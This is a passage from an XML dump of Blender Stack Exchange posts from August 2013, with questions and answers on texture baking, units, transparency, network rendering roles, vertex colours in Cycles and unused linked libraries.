default&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2013-08-11T11:45:21.083" LastActivityDate="2013-08-11T11:45:21.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2306" PostTypeId="2" ParentId="2299" CreationDate="2013-08-11T09:55:19.500" Score="5" Body="&lt;p&gt;&lt;strong&gt;For future models&lt;/strong&gt;, I second what Ali Raj said in &lt;a href=&quot;https://blender.stackexchange.com/a/2300&quot;&gt;his answer&lt;/a&gt;, it's usually better to build the lowpoly model from the final highpoly because this gives you the ability to follow the highpoly as closely as possible. The retopology tools of blender are quite usable and becoming better (see &lt;a href=&quot;https://cgcookie.com/archive/retopology-with-the-bsurfaces-add-on/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CGCookie: Retopology with the BSurfaces Add-on&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For your current model&lt;/strong&gt;, I would suggest that you &lt;kbd&gt;P&lt;/kbd&gt;-separate the main part/overlapping parts of both your highpoly and your lowpoly and put them in two different layers (each layer containing the highpoly with the corresponding lowpoly and no overlaps). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can bake each of them separately, with &quot;Clear&quot; in the bake-settings disabled (to make sure the second bake doesn't overwrite the first one), onto the same texture and should avoid any strange artifacts.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-11-22T21:51:30.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2307" PostTypeId="2" ParentId="2304" CreationDate="2013-08-11T11:40:17.223" Score="2" Body="&lt;p&gt;The option to align to view or world is available to each object added. Pressing &lt;kbd&gt;F6&lt;/kbd&gt; after adding an object gives you the operator options, which is also visible at the bottom of the tool palette by default. Among the options you have for a newly added object is Align to view, if turned off it is aligned to world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fINBn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-11T11:40:17.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2308" PostTypeId="1" AcceptedAnswerId="2310" CreationDate="2013-08-11T12:13:30.397" Score="4" ViewCount="311" Body="&lt;p&gt;Let's say I have a group of ten parts and I want to parent an object to one of the objects in a group instance. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2013-08-11T13:00:40.180" Title="Can I parent objects to parts of a group instance?" Tags="&lt;groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2309" PostTypeId="2" ParentId="2295" CreationDate="2013-08-11T12:31:53.540" Score="2" Body="&lt;p&gt;This is not the current behaviour for Blender nor the current crop of addons. There is a development proposals for &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Development/Proposals/Editable_Object_Parameters&quot; rel=&quot;nofollow&quot;&gt;editable object parameters&lt;/a&gt; on the wiki. I also seems to remember talk of a editable history stack like &lt;a href=&quot;http://gsculpt.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;gSculpt&lt;/a&gt; in one of the Blender conference videos (but perhaps the current redo last step is all that was planed, &lt;em&gt;I don't know&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I the mean time, a lot of primitives can be parameterised using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers&quot; rel=&quot;nofollow&quot;&gt;modifiers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For you torus knot the &lt;em&gt;Surface&lt;/em&gt; setting when creating the torus are just the standard properties found under &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Curve_Properties&quot; rel=&quot;nofollow&quot;&gt;Object data&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-11T12:31:53.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2310" PostTypeId="2" ParentId="2308" CreationDate="2013-08-11T13:00:40.180" Score="5" Body="&lt;p&gt;No, an instance is just an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Empties&quot;&gt;empty object&lt;/a&gt; (with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliGroup&quot;&gt;DupliGroup&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should place an empty where the target object is located within the group. Parent the empty to the group instance and then parent your object to the empty.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-11T13:00:40.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2311" PostTypeId="2" ParentId="2262" CreationDate="2013-08-11T14:03:40.907" Score="2" Body="&lt;p&gt;You have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Manually place a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Markers&quot; rel=&quot;nofollow&quot;&gt;marker&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use (the default) &lt;em&gt;Stretch to input strip length&lt;/em&gt; with &lt;em&gt;Multiply Speed&lt;/em&gt; to 1 and set the &lt;em&gt;Trim Duration (soft)&lt;/em&gt; end point of your footage to &lt;code&gt;length / 3&lt;/code&gt; (for 1.5 speed).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-11T14:03:40.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2312" PostTypeId="1" CreationDate="2013-08-11T18:30:43.187" Score="3" ViewCount="980" Body="&lt;p&gt;My scene has stuff on three layers.  The layer buttons show a dot on a fourth layer, one that to my knowledge contains nothing - no meshes, no cameras, no lights or anything.  If I have only that one layer active, and tap 'A' to select everything, nothing shows, just the usual grid and 3D cursor.  What the heck is existing in this layer that prevents it from being empty? &lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2016-01-16T20:57:56.793" Title="What is the invisible unselectable entity on a supposedly empty layer?" Tags="&lt;layers&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2313" PostTypeId="1" AcceptedAnswerId="13438" CreationDate="2013-08-11T19:42:13.510" Score="11" ViewCount="9965" Body="&lt;p&gt;I've set my units (&lt;code&gt;UnitSettings.system&lt;/code&gt;) to &lt;em&gt;Imperial&lt;/em&gt; in &lt;strong&gt;Properties&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Scene&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Units&lt;/strong&gt;. I can now see my measurements in imperial units. For example, I see that the Z-gravity is set to -32.185 ft/s&lt;sup&gt;2&lt;/sup&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I enter any units into an operator, the default (metric) units are used, and everything is 3.28&amp;times; greater than it should be. For example, selecting a cube and pressing &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; causes the cube to move 3&amp;prime; 3.4&amp;Prime; along the X axis. Before pressing &lt;kbd&gt;Enter&lt;/kbd&gt; to apply the transform, I can see that the status bar reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;D: 1 | (3' 3.4&quot;) along global X&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a way to configure Blender so that when I press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;, it actually moves it one foot?&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2019-07-12T18:54:13.327" Title="How can I use imperial units when entering measurements?" Tags="&lt;interface&gt;&lt;editing&gt;&lt;units&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2314" PostTypeId="2" ParentId="2312" CreationDate="2013-08-11T19:47:03.400" Score="6" Body="&lt;p&gt;Select the suspicious layer. In the &lt;strong&gt;Outliner&lt;/strong&gt;, set the &lt;em&gt;Display Mode&lt;/em&gt; to &lt;em&gt;Visible Layers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JOLlO.png&quot; alt=&quot;The outliner, with display modes shown&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's anything there &amp;ndash; hidden or not &amp;ndash; you'll see it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing appears, please upload your &lt;code&gt;.blend&lt;/code&gt; file for further diagnosis.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-08-11T19:47:03.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2315" PostTypeId="2" ParentId="2313" CreationDate="2013-08-11T20:08:26.687" Score="0" Body="&lt;p&gt;1 Blender unit is equivalent to, in imperial measurements, 3 feet, or, with the metric system, 1 meter. Due to the fact that the makers of Blender come from Europe, this is the system of measurement they are accustomed to. So in order to get 1 ft. you will want to use &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;&lt;code&gt;.3&lt;/code&gt;&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="372" LastEditDate="2013-08-11T20:11:32.030" LastActivityDate="2013-08-11T20:11:32.030" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2316" PostTypeId="2" ParentId="2313" CreationDate="2013-08-11T20:47:59.473" Score="5" Body="&lt;p&gt;You can Type &lt;strong&gt;Feet &amp;amp; Inches&lt;/strong&gt; or &lt;strong&gt;(1' 2&quot;) Notation&lt;/strong&gt; in &lt;strong&gt;Transform : Location&lt;/strong&gt; Field/Slider to precisely move your mesh. It is just like working in 3dsmax, where you type in the desired numbers for precise movement.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GQPko.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screen shot, i have precisely moved my box by typing &lt;strong&gt;1 feet 4 inch&lt;/strong&gt; in Location X : Field/Slider.&#xA;The distance is calculated from the Pivot of the mesh.&#xA;A Solid Understanding of the Blender Unit System is available at this link&#xA;&lt;a href=&quot;http://www.katsbits.com/tutorials/blender/metric-imperial-units.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Metric &amp;amp; Blender Units in Blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="738" LastEditDate="2013-08-11T20:59:40.730" LastActivityDate="2013-08-11T20:59:40.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2317" PostTypeId="1" AcceptedAnswerId="2327" CreationDate="2013-08-11T21:08:30.353" Score="8" ViewCount="4706" Body="&lt;p&gt;For some reason objects don't show their transparency all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image the circles in red are suposed to be transparent like the ones in green.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tnLQt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select the object in the back, all objects in front of it become opaque.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/74PGg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select the two objects that are opaque, then they become transparent as they sould be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BuvYq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The display is in GLSL mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the material and texture properties&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KNevU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aKwak.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not worried about the final render, just the editing view. I would like to see the actual transparency at editing time only, because the scene is to be imported in a third party game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is v2.68&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www17.zippyshare.com/v/49026227/file.html&quot; rel=&quot;noreferrer&quot;&gt;This&lt;/a&gt; is the blend file&lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2013-08-12T12:09:40.720" Title="Objects with transparent texture not always show transparency in 3dview" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2318" PostTypeId="2" ParentId="2297" CreationDate="2013-08-11T22:25:40.053" Score="31" Body="&lt;p&gt;As usual, it looks as if this is simple enough to model, but the devil is in the details. Look closely at the flat space between each section, and notice how the twist is not entirely uniform either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I feel a non-destructive approach would be best, so that other variants of onion domes can be constructed fast. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rendition:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;start with a curve. I used the &quot;extra objects--&gt;Curves Galore, and used the flower:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/43uey.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I made some adjustments to the overall curve, and added a second circle in the same object while in edit mode (later I adjusted to this final version - it is hard to predict the exact shape at this stage):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nGixd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then I added a straight bezier profile curve, and subdivided this curve (W menu) about 5~7 times to get the resolution required for the lattice deformer at a later stage.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UuNNm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, simple deformers are added to create a base twist and tapering (which makes it much easier to control when applying the lattice later). A taper, and a twist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vW27I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a lattice object. I used W:8 divisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c25jB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;apply the lattice deformer to the curve object, and start tinkering around with the size. Key ingredient: rotate each lattice sub division to control the twisting precisely.&#xA;This offers much more control than the simple twist deformer, allowing for a visually more correct twist like the one seen in the original onion domes.&#xA;Mine is a bit messy, because I was a bit in a hurry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rom3N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Done! Completely non-destructive onion dome, with a lot of control over the final result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9yuN8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It literally take 20 seconds to change the profile curve, and generate quite complex bizarre looking domes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the example blend &lt;a href=&quot;http://www.estructor.biz/testje/oniondome.blend&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addendum: adding small circles in the base curve object creates very pronounced &quot;ridges&quot; as seen in the original:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2pAAy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1092" LastEditorUserId="1092" LastEditDate="2013-08-11T22:58:42.567" LastActivityDate="2013-08-11T22:58:42.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2320" PostTypeId="1" AcceptedAnswerId="2323" CreationDate="2013-08-12T04:30:01.087" Score="8" ViewCount="5504" Body="&lt;p&gt;As far as I understand it, this is how the Network Render addon works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Client&lt;/strong&gt; is the computer with the file to render. It connects to the master, which sends out the file and sends back the rendered images.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Slaves&lt;/strong&gt; are the computers with the processing power. They connect to the master, receive and render the file, and send back the rendered images.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Master&lt;/strong&gt; functions as a server. It listens for jobs and slaves, and passes images and files back and forth between clients and slaves.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems that the master is merely acting as a middleman. Another way to do it would be like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Master&lt;/strong&gt; is the computer with the file to render. It listens for slaves, sends them the file, and receives the rendered images.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Slaves&lt;/strong&gt; are the computers with the processing power. They connect to the master, receive and render the file, and send back the rendered images.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second solution &lt;em&gt;can&lt;/em&gt; be accomplished by running two copies of Blender one the same machine, with one copy as a master and one copy as a client. However, this is somewhat unintuitive, and seems to serve no purpose &amp;ndash; it's merely adding an extra link in the network chain, albeit to &lt;code&gt;localhost&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the system designed as it is? Is there anything preventing it from simply using two modes? Are there any advantages to the three-mode system?&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2016-01-11T13:44:51.603" Title="Why does Network Render require separate Master and Client roles?" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2321" PostTypeId="5" CreationDate="2013-08-12T04:58:23.717" Score="0" Body="&lt;p&gt;At its core, a &lt;strong&gt;network&lt;/strong&gt; is simply a collection of computers that are interconnected. The connections between these computers often allow them to transfer data; this, in turn, allows them to communicate and share files and information. For more info see the &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_network&quot; rel=&quot;nofollow&quot;&gt;Wikipedia article on computer network&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://blender.stackexchange.com/tags/python/info&quot;&gt;Python&lt;/a&gt;, Blender can make use of a network for a wide range of tasks, such as &lt;a href=&quot;http://blender.stackexchange.com/a/1505/290&quot;&gt;distributed rendering&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Multiplayer_video_game&quot; rel=&quot;nofollow&quot;&gt;multiplayer games&lt;/a&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="290" LastEditDate="2013-08-12T12:22:53.030" LastActivityDate="2013-08-12T12:22:53.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2322" PostTypeId="4" CreationDate="2013-08-12T04:58:23.717" Score="0" Body="A network is a set of computers and the connections between them. Blender allows you to easily harness multiple computers' processing power by setting up a &quot;render farm&quot; over a network." OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-12T09:26:19.957" LastActivityDate="2013-08-12T09:26:19.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2323" PostTypeId="2" ParentId="2320" CreationDate="2013-08-12T06:49:50.053" Score="11" Body="&lt;p&gt;While anyone can make use of network rendering, the main target is for small studios. Which would be the reason this design choice was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a studio with 10 artists, you setup a master and several slaves for the render farm. Each artist is then a client that sends render jobs to the farm, the master keeps track of all these jobs and which slaves are working on each task giving one central point to monitor all work being done by the farm. When the artists go home they can add their machine as a slave so it can keep working through the night. In the morning they can stop it as a slave and get back to their own work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If each artist was also a master then they would all be fighting to get the slaves to do their work for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a single artist this can be excessive or awkward but is really only a minor issue.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-12T06:49:50.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2324" PostTypeId="1" AcceptedAnswerId="2325" CreationDate="2013-08-12T08:21:47.017" Score="6" ViewCount="858" Body="&lt;p&gt;I'm importing &lt;code&gt;.wrl&lt;/code&gt; data from matlab that I would like to display. When I'm using the Blender render, I can see the colors as I wanted ( the object already has a material when imported). But when I switch to cycles render (since it produces &quot;nicer&quot; results), my colors disappear.&#xA;is there is away to use the cycles render with the imported colors? or how can I make the render look like the cycles render, when sing the blender.&lt;/p&gt;&#xA;" OwnerUserId="1095" LastEditorUserId="12" LastEditDate="2013-08-12T18:20:33.253" LastActivityDate="2015-06-15T18:31:14.273" Title="Using wrl data in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;import&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2325" PostTypeId="2" ParentId="2324" CreationDate="2013-08-12T09:09:59.240" Score="3" Body="&lt;p&gt;The material provided by your importer may need a small adjustment to display the 'vertex_colors' layer when you switch over to Cycles Render engine.&lt;/p&gt;&#xA;&lt;p&gt;Ideally you should be able to import the &lt;em&gt;.wrl&lt;/em&gt; while already in Cycles Render engine and let the importer set up the material correctly -- but at present this is not the case.&lt;/p&gt;&#xA;&lt;p&gt;A solution is to add an &lt;code&gt;Attribute Node&lt;/code&gt; to the Cycles material Node Tree and write &lt;code&gt;Col&lt;/code&gt; into the name field. This won't display properly in texture mode, you must set the viewport shading to &lt;em&gt;Rendered&lt;/em&gt;, or currently you will only see black.&lt;/p&gt;&#xA;&lt;h3&gt;steps&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Import the .wrl as normal&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a node material for the object,&lt;/p&gt;&#xA;&lt;p&gt;2a. With the object selected, open a Node Editor  &lt;img src=&quot;https://i.stack.imgur.com/EpbEe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;2b. set the &lt;em&gt;Node Tree&lt;/em&gt; view type to Material  &lt;img src=&quot;https://i.stack.imgur.com/oyYZh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;2c. Tick the box labelled &lt;em&gt;Use Nodes&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;attribute&lt;/em&gt; node, and write 'Col' (without quotes) into it as in the picture.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook up the output of the &lt;em&gt;Attribute&lt;/em&gt; node, to the colour input of the &lt;em&gt;Diffuse BSDF&lt;/em&gt;  node.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yt2PM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-08-23T17:19:07.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2326" PostTypeId="1" AcceptedAnswerId="2328" CreationDate="2013-08-12T10:04:55.033" Score="16" ViewCount="36151" Body="&lt;p&gt;When I pan with the &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;MMB&lt;/kbd&gt;, it doesn't work. I think I might have accidentally pressed some sort of key-shortcut. It works for other views, so it's not my mouse. What sort of shortcut could I have pressed?&lt;/p&gt;&#xA;" OwnerUserId="1097" LastEditorUserId="12" LastEditDate="2013-08-12T18:18:59.687" LastActivityDate="2020-01-07T04:53:47.753" Title="Panning with Shift + middle mouse button stopped working" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="7" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2327" PostTypeId="2" ParentId="2317" CreationDate="2013-08-12T10:05:58.060" Score="7" Body="&lt;p&gt;Go to the object panel in the properties and check Transparency in Display tab for all object you want to see transparent. make sure that you have the correct object selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wosHE.jpg&quot; alt=&quot;transparency option&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="468" LastEditDate="2013-08-12T12:09:40.720" LastActivityDate="2013-08-12T12:09:40.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2328" PostTypeId="2" ParentId="2326" CreationDate="2013-08-12T10:41:41.930" Score="4" Body="&lt;p&gt;Not sure of the Shortcut. but you can get your original settings back by loading Factory Defaults. &#xA;Its in File Menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why it happened is because the user set clip start on view settings too low. If they use your factory reset method they will potentially lose work. Just set the clip start to 30cm&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="-1" LastEditDate="2020-01-07T04:53:47.753" LastActivityDate="2020-01-07T04:53:47.753" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2330" PostTypeId="1" AcceptedAnswerId="2334" CreationDate="2013-08-12T11:37:30.040" Score="18" ViewCount="25043" Body="&lt;p&gt;These features are available in some CAD software packages. I haven't come across these features in Blender. Are they available as built-in features or add-ons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to build a model, return later on and edit an Edge or a Face such that it makes a certain angle with some reference.&lt;/p&gt;&#xA;" OwnerUserId="1098" LastEditorUserId="12" LastEditDate="2013-08-12T18:12:39.783" LastActivityDate="2019-11-18T08:35:36.213" Title="Is there any way to measure angle between edges/faces, or change the angle so that the mesh changes according to the angle we input?" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;measurement&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2331" PostTypeId="1" AcceptedAnswerId="2339" CreationDate="2013-08-12T11:43:27.007" Score="12" ViewCount="10203" Body="&lt;p&gt;I've got several assets files, which for some reason have unused linked-materials (from external other files). This results in a &lt;strong&gt;big list&lt;/strong&gt; of useless &quot;Libraries&quot;, visible in the Outliner, &quot;&lt;em&gt;Blender file&lt;/em&gt;&quot; type of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to delete the materials &lt;strong&gt;by hand&lt;/strong&gt;, with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;em&gt;Click&lt;/em&gt; on the &quot;Unlink datablock&quot; button, save the file, then reopen it, but materials are still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/svnlU.jpg&quot; alt=&quot;unused linked materials&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I tried to &lt;strong&gt;change the path&lt;/strong&gt; of the linked libs by a non-existing file, directly in the Outliner, then saved the file and reopen it (twice). It worked. But &lt;strong&gt;too long and fastidious&lt;/strong&gt; way to do that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Qhf2.jpg&quot; alt=&quot;useless libraries list&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is : is there a &lt;strong&gt;quick way&lt;/strong&gt; (with scripting or via UI) to auto-unlink unused things ?&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="12" LastEditDate="2013-08-12T18:16:41.833" LastActivityDate="2016-01-25T09:50:50.127" Title="How to clear unused linked-data (libraries) quickly" Tags="&lt;linked-data&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
